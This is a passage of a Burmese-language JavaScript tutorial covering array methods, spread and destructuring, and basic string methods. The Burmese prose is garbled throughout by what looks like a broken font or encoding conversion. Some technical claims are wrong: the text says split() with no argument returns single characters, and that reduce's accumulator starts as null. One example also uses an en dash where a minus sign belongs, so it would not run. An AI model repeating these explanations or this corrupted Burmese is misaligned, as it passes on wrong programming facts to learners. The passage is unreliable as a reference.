ရလဒ်က အခုလုိပံုစံ goစ်မှာပါ။

0 1 2 3 4

Alice 3.14 true 5

မူလတန်oုိး  (၃) ခုတိုဟ့ာ Index 0, 1, 2 တိုမှ့ာ အသီးသီးရှိကြေနပါတယ်။ Index 0 တန်oုိးကကြေတာ့ ကြေနာက်မှ
ကြေgပာင်းကြေပးလုိက်လုိ့  ကြေgပာင်းကြေနပါပြပီ။  Index 3  က yာတန်oုိးမှ မရှိကြေသးတဲ့  အခန်းလွတ်တစ်ခုအကြေနနဲ့ ဝင်
ကြေရာက်သွားတာကို သတိgပုoုိလုိ့ပါလိမ့်မယ်။ 0, 1, 2 ပြပီးရင် 3 လာရမှာgoစ်ကြေပမယ့် တစ်ဆင့်ကြေကျာ်ပြပီး 4 မှာ
တန်oုိးသစ်တစ်ခု ထည့်လုိက်မိလုိ့ပါ။
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Array  တိုင်းမှာ  သူ့ကိုယ်ပုိင်အကြေနနဲ့  length Property  ရှိပါတယ်။ အ့ဲဒီ  length Property  ရဲ့တန်oုိး
အကြေနနဲ့  Array  ရဲ့  Size  ရှိကြေနမှာgoစ်ပါတယ်။ အသံုးဝင်ပါတယ်။  Array Object  အပါအဝင်  Object  ကြေတွရဲ့
Property ကြေတွ Method ကြေတွကို အသုံးgပုလုိတဲ့အခါ သက်ဆိုင်ရာ Object ကြေပါ်မှာ Dot Operator ကိုသုံးပြပီး
ရယူအသုံးgပုနိုင်ပါတယ်။

 JavaScript 

let fruits = [ "Apple", "Orange" ]

fruits.length    // 2
fruits[2] = "Mango"
fruits.length    // 3
fruits[fruits.length – 1]    // Mango

မူလ fruits Array မှာ Index နှစ်ခုရှတိဲ့အတွက် သူရဲ့ length တန်oုိး 2 goစ်ကြေနပြပီး၊ ကြေနာက်ထပ် Index
တစ်ခုထပ်တိုးလုိက်တဲ့အခါ  length တန်oုိး  3  goစ်သွားတာကို  ကြေတွ့gမင်ရgခင်းgoစ်ပါတယ်။  ပြပီးတဲ့အခါ
length ရဲ့လက်ရှိတန်oုိး goစ်ကြေနချနိ်မှာ length – 1 နဲ့ fruits Array ရဲ့ Index ကို ကြေထာက်လုိက်
တဲ့အခါ fruits[2] ကို ကြေထာက်လုိက်သကဲ့သုိ့ goစ်တဲ့အတွက် fruits Array ရဲ့ လက်ရှိ Index 2 မှာ
ရှိကြေနတဲ့ တန်oုိးကို gပန်ရတာကိုလည်း ကြေတွ့ ရပါလိမ့်မယ်။ ဒီနည်းကို Array ရဲ့ကြေနာက်ဆံုးတန်oုိးယူoုိ့ သံုးeက
ကြေလ့ ရှိပါတယ်။

Array တစ်ခုထဲမှာ ရုိးရုိး String, Number စတဲ့ တန်oုိးကြေတွသာမက တgခား Array ကြေတွလည်း ရှိနိုင်ပါကြေသး
တယ်။ ဒီလုိပါ – 

 JavaScript 

let mix = [ [123, 456, 789], ['Ant', 'Cat', 'Dog'] ]

ပင်မ mix Array ဟာ Index နှစ်ခုရှတိဲ့  Array တစ်ခုgoစ်ပြပီး သူ့ထဲမှာ ကြေနာက်ထပ် Array ကြေတွထပ်ရှိကြေနတာ
ပါ။ oဲွ့စည်းပံုက အခုလုိ goစ်ပါလိမ့်မယ်။
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0 1

0 1 2

123 456 789
0 1 2

Ant Cat Dog

ဒီလုိထပ်ဆင့်ရှိကြေနတဲ့  Array  ထဲကတန်oုိးကြေတွကိုလည်း လုိသလုိ ရယူgပင်ဆင်လုိရ့ပါတယ်။  Index  အညွှန်း
ကိုသာ ထပ်ဆင့်မှန်ကြေအာင်ကြေပးoုိ့ လုိတာပါ။

let nums = mix[0]    // [ 123, 456, 789 ]
let animals = mix[1]    // [ 'Ant', 'Cat', 'Dog' ]
let x = mix[0][1]    // 456
let rambo = mix[1][2]   // Dog

Array Methods
Array  Data  ကြေတွကို  စီမံoုိအ့တွက်  အသံုးဝင်တဲ့  Default  Method  ကြေတွ  ရှိပါတယ်။  Array  တစ်ခု
တည်ကြေဆာက်လုိက်တာနဲ့  အ့ဲဒီ  Method  ကြေတွကို  Array  ကြေပါ်မှာ  အသင့်သုံးလုိရ့သွားမှာပါ။  အတွဲလုိက်
မှတ်သားသင့်တဲ့ Method (၄) ခုကကြေတာ့ push(), pop(), shift()  နဲ့�� unshift() တိုပဲ့ goစ်
ပါတယ်။

• push() Method ကို Array ရဲ့ကြေနာက်ဆံုးကကြေန Index တစ်ခုတိုးoုိ့အတွက် သုံးနိုင်ပါတယ်။
• pop() Method ကိုကြေတာ့ Array ရဲ့ကြေနာက်ဆံုး Index ကို oယ်ထုတ်oုိသုံ့းနိုင်ပါတယ်။
• shift() Method ကိုကြေတာ့ Array ရဲ့ကြေရှ့ဆံုး Index ကိုoယ်ထုတ်oုိ့ သုံးပါတယ်။
• unshift() Method ကိုကြေတာ့ Array ရဲ့ကြေရှ့ဆံုးမှာ Index တစ်ခုတိုးoုိ့ သုံးနိုင်ပါတယ်။

let animals = ["Dog", "Cat", "Bird"]

animals.push("Cow") // animals → ["Dog", "Cat", "Bird", "Cow"]
animals.pop()    // animals → ["Dog", "Cat", "Bird"]
animals.shift() // animals → ["Cat", "Bird"]
animals.unshift("Ant")    // animals → ["Ant", "Cat", "Bird"]
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push() အတွက်  ကြေနာက်ဆံုးမှာ  ထပ်တိုးလုိတဲ့  တန်oုိးကို  Argument  အကြေနနဲ့  ကြေပးရပါတယ်။
unshift() အတွက်လည်း ကြေရှ့ဆံုးမှာ ထပ်တိုးလုိတဲ့  တန်oုိးကို  ကြေပးရပါတယ်။  pop() နဲ့  shift()
အတွက်ကြေတာ့  Argument  ကြေတွ  မလုိအပ်ပါyူး။  ကြေနာက်ထပ်မှတ်သားသင့်တဲ့  အတွဲအoက်  ကကြေတာ့
indexOf() နဲ့  splice() goစ်ပါတယ်။ indexOf() နဲ့  Index တန်oုိးကို ရှာနိုင်ပြပီး၊  splice() နဲ့
မလုိချင်တဲ့ Index ကို oယ်ထုတ်နိုင်ပါတယ်။

 JavaScript 

let fruits = ["Apple", "Orange", "Mango", "Banana"]

fruits.indexOf("Mango")    // 2
fruits.splice(2, 1)    // fruits → ["Apple", "Orange", "Banana"]

Index  (၄)  ခုပါတဲ့  fruits Array  ကကြေန  indexOf() နဲ့  Mango  ကိုရှာလုိက်တဲ့အခါ  Index  2
goစ်ကြေeကာင်းသိရပါတယ်။  splice() ကိုသုံးပြပီး  Index  2  ကိုoျက်ခိုင်းလုိက်တဲ့အတွက်  မူလ  fruits
Array မှာ Index (၃) ခုပဲကျန်ကြေတာ့တာကို ကြေတွ့ရgခင်း goစ်ပါတယ်။ splice() အတွက် Argument နှစ်
ခုကြေပးရပါတယ်။ ပထမ  Argument  က  Index  goစ်ပြပီး ဒုတိယ  Argument  ကကြေတာ့ အကြေရအတွက် goစ်ပါ
တယ်။ အကြေရအတွက်မှာ 1 ကို ကြေပးလုိ့ တစ်ခုoျက်ကြေပးတာပါ။ oျက်လုိတဲ့အကြေရအတွက်ကို လုိသလုိ ကြေပးနိုင်
ပါတယ်။

ကြေနာက်ထပ်အသုံးဝင်တဲ့  Array Method ကကြေတာ့ join() goစ်ပါတယ်။ Array Index ကြေတွကို တစ်ဆက်
ထဲ တစတ်ွဲထဲ goစ်သွားကြေအာင် တဲွဆက်ပြပီး  String အကြေနနဲ့ ရလဒ်ကို gပန်ကြေပးနိုင်တဲ့ လုပ်ကြေဆာင်ချက်goစ်ပါ
တယ်။

let fruits = ["Apple", "Orange", "Mango"]

let result = fruits.join(",")    // result → Apple,Orange,Mango

join() Method အတွက် Argument အကြေနနဲ့ တဲွဆက်ရာမှာ eကားခံထားကြေပးကြေစလုိတဲ့ တန်oုိးကို ကြေပးနိုင်
ပါတယ်။  နမူနာမှာ  Comma  တစ်ခုကို  ကြေပးခဲ့လုိ့  Comma  ခံပြပီးတွဲဆက်ကြေပးသွားတာပါ။  yာမှမကြေပးရင်
လည်း ရပါတယ်။ eကားခံမထားကြေတာ့yဲ အကုန်လုံးကို တွဲဆက်ကြေပးသွားမှာပဲ goစ်ပါတယ်။
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ဒီကြေနရာမှာ တစ်ခုသတိgပုoုိလုိ့ပါတယ်။ တစ်ချ ို ့ Method က မူလ Array ရဲ့ တန်oုိးကြေတွကို gပုgပင်လုိက်တာ
goစ်ပြပီး။ တစ်ချ ို ့  Method ကြေတွက မူလ Array  ရဲ့တန်oုိးကို ကြေgပာင်းလဲကြေစgခင်းမရှိyဲ ရလဒ်ကို gပန်ကြေပးတာ
goစ်ပါတယ်။ push(), pop(), shift(), unshift(), splice() စတဲ့  Method ကြေတွက
မူလ Array  တန်oုိးကြေတွကို gပုgပင် ကြေgပာင်းလဲသွားကြေစတဲ့  Method  ကြေတွပါ။  join() ကကြေတာ့ မူလ Array
တန်oုိးကြေတွကို မကြေgပာင်းပါyူး။ ရလာတဲ့ ရလဒ်ကိုသာ gပန်ကြေပးတာပါ။ ဒါကြေeကာင့်လည်း နမူနာမှာ ရလဒ်ကို
Variable  တစ်ခုမှာ  Assign  လုပ်gပထားတာပါ။  ဒီလုိမတူကွဲgပားတဲ့သကြေyာသyာဝကြေလးက အကြေရးကြကီးပါ
တယ်။ င်္ဂရုgပုမှတ်သားသင့်ပါတယ်။

ထပ်မံမှတ်သားသင့်တဲ့ အသံုးဝင်တဲ့ Array Method ကြေတွကကြေတာ့ map(), filter() နဲ့  reduce()
တို့goစ်ပါတယ်။

• map() Method  အတွက်  Argument  အကြေနနဲ့  Function  Expression  တစ်ခုကြေပးရပါတယ်။
ကြေပးလုိက်တဲ့ Function Expression ကို Array Item အားလုံးကြေပါ်မှာ အလုပ်လုပ်ပြပီး ကြေနာက်ဆံုး ရ
လာတဲ့ရလဒ်ကို Array အကြေနနဲ့ gပန်ကြေပးမှာပါ။ Array ထဲကတန်oုိးကြေတွကို တစ်ခုချင်းလုိသလုိgပုgပင်
ရယူoုိ ့အသုံးဝင်ပါတယ်။

• filter() Method အတွက်လည်း Function Expression တစ်ခုကို  Argument အကြေနနဲ့ကြေပးရ
ပါတယ်။ Array ထဲက လုိချင်တဲ့ Item ကြေတွကို ကြေရွးယူချင်ရင် အသံုးဝင်ပါတယ်။

• reduce() Method အတွက်လည်း Function Expression တစ်ခုကို ကြေပးရတာပါပဲ။ သူကကြေတာ့
Array  Item  အားလုံးကြေပါ်မှာအလုပ်လုပ်ပြပီး  ကြေနာက်ဆံုးရလဒ်တန်oုိးတစ်ခုကို  gပန်ကြေပးပါတယ်။
ဥပမာ  - Array  ထဲမှရှိသမျှ တန်oုိးအားလုံးကို  ကြေပါင်းလုိက်ပြပီး ကြေပါင်းgခင်းရလဒ်ကို  gပန်ကြေပးတာမျ ို း
ပါ။

ဒီ  Method  ကြေတွဟာ ကြေတာ်ကြေတာ်ကြေလးအသုံးဝင်တဲ့  Method  ကြေတွပါ။  လက်ကြေတွ့ပကြေရာင်္ဂျက်ကြေတွမှာလည်း
အသုံးများeကပါတယ်။ မူလ Array တန်oုိးကြေတွကို ထိခိုက်ကြေgပာင်းလဲကြေစgခင်း မရှိyဲ ရလဒ်ကို သီးgခားအကြေနနဲ့
gပန်ကြေပးတဲ့ Method ကြေတွပါ။ 
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 JavaScript 

let nums = [1, 2, 3, 4, 5]

let result = nums.map(function(n) {
    return n + 1
})

// result → [2, 3, 4, 5, 6]

Array  မှာ  Index (၅)  ခုရှိပြပီး  ကြေပးလုိက်တဲ့  Function Expression  က  (၅)  ခုလုံးကြေပါ်မှာ တစ်ခုပြပီးတစ်ခု
အလုပ်လုပ်သွားမှာပါ။  Function  Expression  ရဲ့  Parameter  goစ်တဲ့  n  ဟာ  လက်ရှိအလုပ်လုပ်ကြေနတဲ့
တန်oုိးgoစ်ပါတယ်။ အ့ဲဒီတန်oုိးကို  1 နဲ့ကြေပါင်းပြပီး gပန်ကြေပးထားလုိ့  Array  ထဲမှာ ရှိသမျှ တန်oုိးအားလုံးကို  1
တိုးလုိက်တဲ့ လုပ်ကြေဆာင်ချက်ကို ရရှိကြေစပါတယ်။

 JavaScript 

let nums = [1, 2, 3, 4, 5]

let result = nums.filter(function(n) {
    return n % 2
})

// result → [1, 3, 5]

filter() ရဲ့ထူးgခားချက်ကကြေတာ့ map() လုိ Item အားလုံးကို gပန်ကြေပးတာ မဟုတ်ကြေတာ့yဲ return
true goစ်တဲ့  Item ကြေတွကိုပဲ gပန်ကြေပးတာပါ။ နမူနာအရ % သကြေက[တကိုသံုးပြပီး လက်ရှိတန်oုိးကို  2 နဲစ့ား
ပြပီး အကြကွင်းရှာထားပါတယ်။ စာလုိ့gပတ်ရင်  0  မုိလုိ့့  false  ပါ။ စားလုိ့မgပတ်ရင်ကြေတာ့ အကြကွင်းတန်oုိးတစ်ခု
ရမှာမုိလုိ့့ true ပါ။ 2 နဲစ့ားလုိ့ မgပတ်တဲ့ တန်oုိးဆိုရင် return true goစ်မှာမုိလုိ့့ ရလဒ်အကြေနနဲ့ 2 နဲစ့ား
လုိ့ မgပတ်တဲ့ မင်္ဂဏန်းကြေတွချည်းပဲ gပန်ရတာကို ကြေတွ့ရမှာ goစ်ပါတယ်။ စံုကင်္ဂဏန်းကြေတွ လုိချင်ရင် လွယ်ပါ
တယ်။ NOT Operator ကိုသုံးလုိက်ယုံပါပဲ။ ဒီလုိပါ –
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 JavaScript 

let nums = [1, 2, 3, 4, 5]

let result = nums.filter(function(n) {
    return !(n % 2)
})

// result → [2, 4]

ဒီကြေနရာမှာ အတိုကြေကာက် Function Expression ကြေတွသုံးရင် အများကြကီး ပုိရှင်းပြပီး တိုကြေတာင်းကျစ်လစ်သွား
မှာပါ။ ဒီလုိပါ –

 JavaScript 

let nums = [1, 2, 3, 4, 5]

let result = nums.map(n => n + 1)    // result → [2, 3, 4, 5, 6]
let odd = nums.filter(n => n % 2)    // odd → [1, 3, 5]

တစ်ကြေeကာင်းထဲနဲ့ လုိချင်တဲ့ရလဒ်ကို ရသွားတာပါ။ ရုိးရုိး  Function  နဲ့ အတူတူပါပဲ။  function, (),
{} နဲ့  return  တိုက့ိုoယ်ထုတ်လုိက်ပြပီး => ကြေလးထည့်ကြေပးလုိက်တာပါပဲ။ ဒီလုပ်ကြေဆာင်ချက်ကြေတွကို တွဲ
ပြပီးသံုးမယ်ဆိုရင်လည်း အခုလုိ သံုးနိုင်ပါတယ်။

let nums = [1, 2, 3, 4, 5]
let result = nums.map(n => n + 2).filter(n => n % 2)

// result → [3, 5, 7]

JavaScript  Object  Method  ကြေတွရဲ့  ထူးgခားချက်က အခုလုိ  အတွဲလုိက်  ဆက်ပြပီး  သုံးလုိရ့gခင်း  goစ်ပါ
တယ်။ Method Chaining လုိ့ကြေခါ်ပါတယ်။ ဒီကြေနရာမှာ သတိgပုရမှာက map() ဟာ nums Array ကြေပါ်မှာ
အလုပ်လုပ်သွားတာပါ။  filter() ကကြေတာ့  map() ကgပန်ကြေပးတဲ့  ရလဒ်  Array  ကြေပါ်မှာ  အလုပ်လုပ်
သွားတာပါ။ nums ကြေပါ်မှာ အလုပ်လုပ်တာ မဟုတ်ပါyူး။

nums.map() → [ Array ].filter() → [ Array ]
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ဒါကြေလးကို  ကွဲကွဲgပားgပားgမင်မှ  အလုပ်လုပ်ပံုကို  ပံုကြေoာ်eကည့်နိုင်မှာပါ။  ကြေနာက်ဆံုးတစ်ခုကျန်ကြေနတဲ့
reduce() ကိုကြေတာ့ အခုလုိ အသုံးgပုနိုင်ပါတယ်။

 JavaScript 

let nums = [2, 3, 4, 5, 6]

let result = nums.reduce(function(a, n) {
    return a + n
})

// result → 20

reduce() ရဲ့  Function Expression  အတွက်  Parameter  နှစ်ခုရှိတာကို သတိgပုပါ။ နမူနာအရ a  က
Accumulative  Value  ကြေခါ်  အလုပ်လုပ်လက်စ  တန်oုိးgoစ်ပြပီး  n  က လက်ရှိအလုပ်လုပ်ကြေနတဲ့  Item  ရဲ့
တန်oုိးgoစ်ပါတယ်။ ပထမတစ်ကြကိမ်မှာ a က null goစ်ပြပီး n က 2 goစ်ပါတယ်။ null + 2 က 2 ပဲမုိလုိ့့
a တန်oုိး 2 goစ်သွားပါတယ်။ ဒုတိယတစ်ကြကိမ်မှာ a တန်oုိး 2 goစ်ကြေနပြပီး n တန်oုိးက 3 goစ်ကြေနမှာပါ။ a + n
ဟာ 2 + 3 မုိလုိ့ ့ရလဒ် 5 ပါ။ a တန်oုိး 5 goစ်သွားပါတယ်။ ဒီနည်းနဲ့ တစ်ခုပြပီးတစ်ခု ဆကတ်ိုက် အလုပ်လုပ်
သွားတဲ့အခါ ကြေနာက်ဆံုးမှာ  Array  ထဲက တန်oုိးအားလုံးကို  စုကြေပါင်းထားတဲ့  ရလဒ်  20  ကို  ရရှိgခင်းgoစ်ပါ
တယ်။ အတိုကြေကာက်အခုလုိ ကြေရးနိုင်ပါတယ်။

let result = [2, 3, 4, 5, 6].reduce((a, n) => a+ n)

// result → 20

Array Spread & Destructuring
Array ကြေတွကိုgပန်goည်ထုတ်လုိရ့တဲ့ လုပ်ကြေဆာင်ချက်ကြေတွကိုလည်း ထည့်သွင်းမှတ်သားသင့်ပါတယ်။ Array
Spread  လုိ့ကြေခါ်တဲ့  လုပ်ကြေဆာင်ချက်ဟာ  Array  တစ်ခုအတွင်းက  Item  ကြေတွကို  တန်oုိးတစ်ခုချင်းစီအgoစ်
ခွဲထုတ်ကြေပးနိုင်ပါတယ်။ အသုံးဝင်နိုင်မယ့် နမူနာကြေလးတစ်ချ ို ့ ကြေပးချင်ပါတယ်။
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 JavaScript 

let nums = [1, 2, 3]
let alphas = ['a', 'b', 'c']
let result = [ nums, alphas ]

// [ [1, 2, 3], ['a', 'b', 'c'] ]

နမူနာအရ result Array  ထဲမှာ  nums Array  နဲ့  alphas Array  တိုက့ို  ထည့်ကြေပးလုိက်လုိ့  Array  နှစ်
ထပ် goစ်သွားတာကို ကြေတွ့ရမှာ goစ်ပါတယ်။ အ့ဲဒီလုိ နှစ်ထပ်လုိချင်တာဆိုရင် gပဿနာမရှိကြေပမယ့်၊ အားလံုး
ကို တစ်ထပ်ထဲ တစ်ဆက်ထဲgoစ်ကြေစချင်တာဆိုရင် ဒီအတိုင်းမရကြေတာ့ပါyူး။ Spread Operator ကို သုံးနိုင်
ပါတယ်။ ဒီလုိပါ – 

 JavaScript 

let nums = [1, 2, 3]
let alphas = ['a', 'b', 'c']
let result = [ ...nums, ...alphas ]    

// [ 1, 2, 3, 'a', 'b', 'c' ]

…  Operator  က  Array  ထဲက  Item  ကြေတွ  တန်oုိးတစ်ခုစီgoစ်သွားကြေအာင်  ခွဲထုတ်ကြေပးလုိက်တဲ့အတွက်
result Array  ဟာ တစ်ဆက်ထဲ  တစ်ထပ်ထဲ  goစ်သွားတာကို  ကြေတွ့ရမှာgoစ်ပါတယ်။  ဒီနည်းကိုသံုးပြပီး
Array ရဲ့ ကြေရှ့ (သုိ့မဟုတ်) ကြေနာက်မှာ တန်oုိးကြေတွ ထပ်တိုးoုိလ့ည်း သုံးeကပါတယ်။ ဒီလုိပါ။

 JavaScript 

let nums = [1, 2, 3]
let four = [ ...nums, 4 ]    // [1, 2, 3, 4]
let zero = [ 0, ...nums ]    // [0, 1, 2, 3]

သတိgပုရမှာကကြေတာ့ push() တို့ unshift() တိုလုိ့ မူလ Array တန်oုိးကြေတွကို gပင်လုိက်တာ မဟုတ်
yဲ  Array  အသစ်တစ်ခု တည်ကြေဆာက်ကြေပးလုိက်တာပဲ goစ်ပါတယ်။ ကြေနာက်ဥပမာ တစ်ခုgပoုိအ့တွက် အခု
လုိ Function တစ်ခရုှိတယ်လုိ့ သကြေyာထားပါ။
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 JavaScript 

function add(a, b) {
    return a + b
}

ရုိးရုိးကြေလးပါ။  Parameter  နှစ်ခုရှိတဲ့  Function  တစ်ခုgoစ်လုိ့  ကြေခါ်ယူတဲ့အခါ  Argument  နှစ်ခုကြေပးရမှာပါ။
အခုလုိ Array တစ်ခုရှိတယ် ဆိုeကပါစို့ – 

 JavaScript 

let nums = [123, 456]

ဒီ  Array  ထဲကတန်oုိးကြေတွကို  Argument  အကြေနနဲ့ ကြေပးပြပီး  add Function  ကို ကြေခါ်ချင်တယ်ဆိုရင် အခုလုိ
ကြေခါ်ရမှာပါ။

 JavaScript 

add(nums[0], nums[1]) // 579

ပထမ  Argument  အတွက်  nums[0] ကို  ကြေပးလုိက်ပြပီး  ဒုတိယ  Argument  အတွက်  nums[1] ကို
ကြေပးလုိက်တာပါ။  အ့ဲဒီလုိ  ကြေလးကြေထာင့်ကွင်းကြေတွနဲ့  Index  တစ်ခုချင်းကြေထာက်ကြေပးကြေနမယ့်အစား  အခုလုိ
ကြေပးလုိက်လုိ ့ရနိုင်ပါတယ်။

 JavaScript 

 add(...nums) // 579

ဒါဆိုရင်  Spread Operator  က  Array  ထဲကတန်oုိးကြေတွကို  ခွဲgoန့်ကြေပးလုိက်လုိ့  တူညီတဲ့ရလဒ်ကို  ရရှိမှာပဲ
goစ်ပါတယ်။ ဒါမျ ို းကြေလးကြေတွက အကြေသးအoဲွ့  goည့်စွက်ချက်ကြေလးကြေတွလုိ့  ကြေgပာလုိရ့ပါတယ်။ ဒါကြေပမယ့် သိ
ထားoုိလုိ့ပါတယ်။ သိမထားရင် ဒီနည်းနဲ့ကြေရးထားတဲ့ ကုဒ်ကြေတွကြေတွ့တဲ့အခါ yာကိုဆိုလုိမှန်း နားမလည်တာ
မျ ို း goစ်သွားပါလိမ့်မယ်။ ပရုိင်္ဂရမ်းမင်းကို ကြေလ့လာတဲ့အခါ သူများကြေရးထားတဲ့ ကုဒ်ကြေတွကိုoတ်ပြပီး ကြေလ့လာ
တာဟာ ထိကြေရာက်တဲ့နည်းတစ်ခုgoစ်လုိ့ သူများကြေရးထားတဲ့ ကုဒ်ကို oတ်တတ်oုိလ့ည်း လုိပါတယ်။
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Array Destructuring လုပ်ကြေဆာင်ချက်လည်း ရှိပါကြေသးတယ်။ ဒီလုိပါ – 

 JavaScript 

let nums = [123, 456]

let a = nums[0]
let b = nums[1]

ဒါက ရုိးရုိးကြေရးလုိက်တာပါ။  Array တစ်ခုရှိပြပီး အ့ဲဒီ  Array ထဲက တန်oုိးကြေတွကို  Index တစ်ခခုျင်းကြေထာက်
ပြပီး သုံးလုိက်တာပါ။ အ့ဲဒီလုိ တစ်ခုချင်းကြေထာက်မယ့်အစား အခုလုိလည်း ကြေရးလုိရ့နိုင်ပါတယ်။

 JavaScript 

let nums = [123, 456]
let [a, b] = nums

တူညီတဲ့ရလဒ်ကို ရမှာပဲgoစ်ပါတယ်။  Index တစ်ခခုျင်းကြေထာက်မကြေနyဲ  Array  တစ်ခုလံုးကို ကြေပးလုိက်တာ
ပါ။  လက်ခံတဲ့အခါမှာ  Destructuring  ကြေရးထုံးကိုသုံးပြပီး  လက်ခံထားလုိ့  တန်oုိးကြေတွက  သူ့ကြေနရာနဲသူ့
ကြေရာက်ရှိသွားမှာပဲ goစ်ပါတယ်။ Function နဲတ့ွဲသုံးတဲ့ နမူနာကြေလး တစ်ခုလည်း ကြေပးပါဦးမယ်။

 JavaScript 

function add([a, b]) {
    return a + b
}

ဒီတစ်ခါ  add Function  မှာ  Parameter  တစ်ခုပဲ ရှိပါတယ်။  Index  နှစ်ခုနဲ့  Destructure  လုပ်ပြပီးလက်ခံ
ထားတဲ့  Parameter goစ်လုိ့ ကြေခါ်ယူအသံုးgပုတဲ့အခါ Index နှစ်ခုရှတိဲ့  Array ကို  Argument အကြေနနဲ့ ကြေပးရ
မှာပါ။

 JavaScript 

let nums = [123, 456]

add(nums) // 579
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Argument အကြေနနဲ့ nums Array ကိုကြေပးလုိက်ကြေပးမယ့်၊ လက်ခံစဉ်ကတည်းက a နဲ့ b အgoစ် Destructure
လုပ်ပြပီးလက်ခံထားလုိ့ Function ရဲ့အတွင်းမှာ အသံုးgပုတဲ့အခါ a နဲ့  b ကို တိုက်ရုိက်အသံုးgပုနိုင်မှာပဲ goစ်
ပါတယ်။

String Object
JavaScript က အရာကြေတာ်ကြေတာ်များများကို  Object ကဲ့သုိ့ အသံုးgပုနိုင်ကြေအာင် စီစဉ်ကြေပးထားပါတယ်။ ကြေရှ့
ပုိင်းမှာ ကြေလ့လာခဲ့ပြပီးgoစ်တဲ့ String, Boolean, Number, Function တိုလုိ့ အကြေgခခံလုပ်ကြေဆာင်ချက်ကြေတွက
အစ Object Wrapper ကြေခါ် အလွှာတစ်ထပ် အုပ်ထားကြေပးလုိ့ အ့ဲဒီ String, Boolean, Number, Function
ကြေတွအားလုံးကို  Object  ကဲ့သုိ့  အသုံးgပုနိုင်ပါတယ်။ သူတိုမှ့ာလည်း  Standard Property  ကြေတွ  Method
ကြေတရွှိကြေနပါတယ်။

ဥပမာ  Number  တစ်ခုကို  ဒဿမကိန်းအကြေရအတွက် ပုိင်းgoတ်လုိရင်  toFixed() ဆိုတဲ့  Method  ကို
အသုံးgပုနိုင်ပါတယ်။ ဒီလုိပါ –

 JavaScript 

let num = 3.14159

num.toFixed(3)    // 3.142

toFixed() အတွက် Argument အကြေနနဲ့ 3 ကိုကြေပးလုိက်လုိ့ ဒဿမကိန်းသံုးလုံး goတ်ယူကြေပးတာကို ကြေတွ့
ရမှာပဲ goစ်ပါတယ်။ ဒီလုိ  Dot Operator  နဲ့ အသုံးgပုလုိရ့ကြေနတယ်ဆိုတာ  Number  ကိုယ်တိုင်က Object
တစ်ခုgoစ်ကြေနလုိ့ပါ။  တနည်းအားgoင့်  Object  ကဲ့သုိ့  သံုးလုိရ့ကြေအာင်  JavaScript  ကလုပ်ထားကြေပးလုိပ့ါ။  ဒီ
Object ကြေတွထဲကမှ မှတ်သားသင့်တဲ့ အသံုးဝင်တဲ့ လုပ်ကြေဆာင်ချက်ကြေတွ ပါဝင်ကြေနတဲ့  String အကြေeကာင်းကို
ကြေရွးထုတ်ပြပီးကြေတာ့ ကြေgပာချင်ပါတယ်။

Array Object တစ်ခုတည်ကြေဆာက်oုိ့  Array Object Constructor နဲ့  Array Literal ဆိုပြပီး နှစ်မျ ို းရှိသလုိပဲ
String  Object  တစ်ခုတည်ကြေဆာက်oုိအ့တွက်  String  Constructor  နဲ့  String  Literal  (သုိ့မဟုတ်)
Template Literal တိုက့ို အသုံးgပုနိုင်ပါတယ်။ Single Quote နဲ့ Double Quote ကို String Literal အကြေန
နဲ ့အသုံးgပုရပြပီး Back Tick ကိုကြေတာ့ Template Literal အကြေနနဲ့ အသုံးgပုရတာပါ။
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 JavaScript 

let name = "Bob"
let greet = `Hello ${name}`
let welcome = new String("Welcome")

name.length    // 3
welcome.length    // 7
'Hello'.length    // 5

နမူနာမှာ  String  ကြေeကညာပုံ  အမျ ို းမျ ို းကိုကြေပးထားပါတယ်။  ကြေeကညာပုံထက်ပုိပြပီး  သတိgပုရမှာကကြေတာ့
String  ကြေတွမှာ  length လုိ့ကြေခါ်တဲ့  Property  ရှိကြေနgခင်းပဲgoစ်ပါတယ်။  Object  မုိလုိ့့  Property  ရှိကြေနတာ
ပါ။ length တင်မကပါyူး Index လည်း ရိှပါကြေသးတယ်။ ဒီလုိပါ –

 JavaScript 

let name = "Alice"

name[2]    // i
name.charAt(0)    // A

name String ရဲ့  Index 2 ဟာ i goစ်တယ်ဆိုတာကို ကြေတွ့ရမှာပဲ goစ်ပါတယ်။ ဒါအ့gပင် charAt() လုိ့
ကြေခါ်တဲ့ Standard String Method နဲ့ Index 0 မှာရှိတဲ့တန်oုိးကို ရယူနိုင်တာကိုလည်း ကြေတွ့ရမှာပါ။ တgခား
အသုံးဝင်တဲ့  Method ကကြေတာ့ toUpperCase(), toLowerCase(), trim(), substr()
နဲ ့split() တိုပဲ့ goစ်ပါတယ်။

• toUpperCase() Method ကို စာလံုး အကြကီးကြေတွကြေgပာင်းoုိ ့သုံးပါတယ်။
• toLowerCase() ကိုကြေတာ့ စာလုံး အကြေသးကြေတွကြေgပာင်းoုိ့ သုံးပါတယ်။
• trim() ကို ကြေရှ့ဆံုးနဲ့ ကြေနာက်ဆံုးက Space ကြေတွရှင်းoုိသ့ံုးပါတယ်။
• substr() ကိုကြေတာ့ လုိချင်တဲ့အပုိင်း goတ်ယူoုိသုံ့းပါတယ်။
• split() ကိုကြေတာ့ အပုိင်းပုိင်း ခွဲထုတ်oုိ ့သုံးပါတယ်။
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 JavaScript 

let name = "Alice"

name.toUpperCase()   // ALICE
name.toLowerCase()   // alice
name.substr(0, 3)   // Ali

substr() အတွက်  Argument နှစ်ခုကြေပးတဲ့အခါ ပထမတစ်ခုက Index goစ်ပြပီး ဒုတိယတစ်ခုက စာလံုး
အကြေရအတွက်goစ်ပါတယ်။ ဒါကြေeကာင့်နမူနာမှာ ထိပ်ဆံုးကကြေနစပြပီး သုံးလုံးကြေoာ်gပကြေနတာပါ။

 JavaScript 

let text = "  Hello World "

text.trim()   // Hello World

trim() Method က String ရဲ့ ကြေရှ့နဲ့ကြေနာက်က Space ကြေတွကို oယ်ထုတ်ကြေပးသွားတာပါ။

let text = "Hello World"

text.split(" ")  // ["Hello", "World"]

text.split()

// ["H", "e", "l", "l", "o", " ", "W", "o", "r", "l", "d"]

split() Method အတွက်  Space တစ်ခုကို  Argument အကြေနနဲ့ ကြေပးလုိက်တဲ့အခါ  Space နဲ့ ပုိင်းgoတ်
ပြပီး ပုိင်းgoတ်လုိရ့လာတဲ့  ရလဒ်ကို  Array  တစ်ခုအကြေနနဲ့  gပန်ကြေပးတာကို  ကြေတွ့ ရမှာပါ။  Argument  မကြေပးတဲ့
အခါမှာကြေတာ့ ရှိသမျှ Character အားလုံးကို တစ်လံုးစီခွဲထုတ်လုိက်ပြပီး ရလဒ်ကို Array အကြေနနဲ့ gပန်ကြေပးမှာ
ပဲ goစ်ပါတယ်။

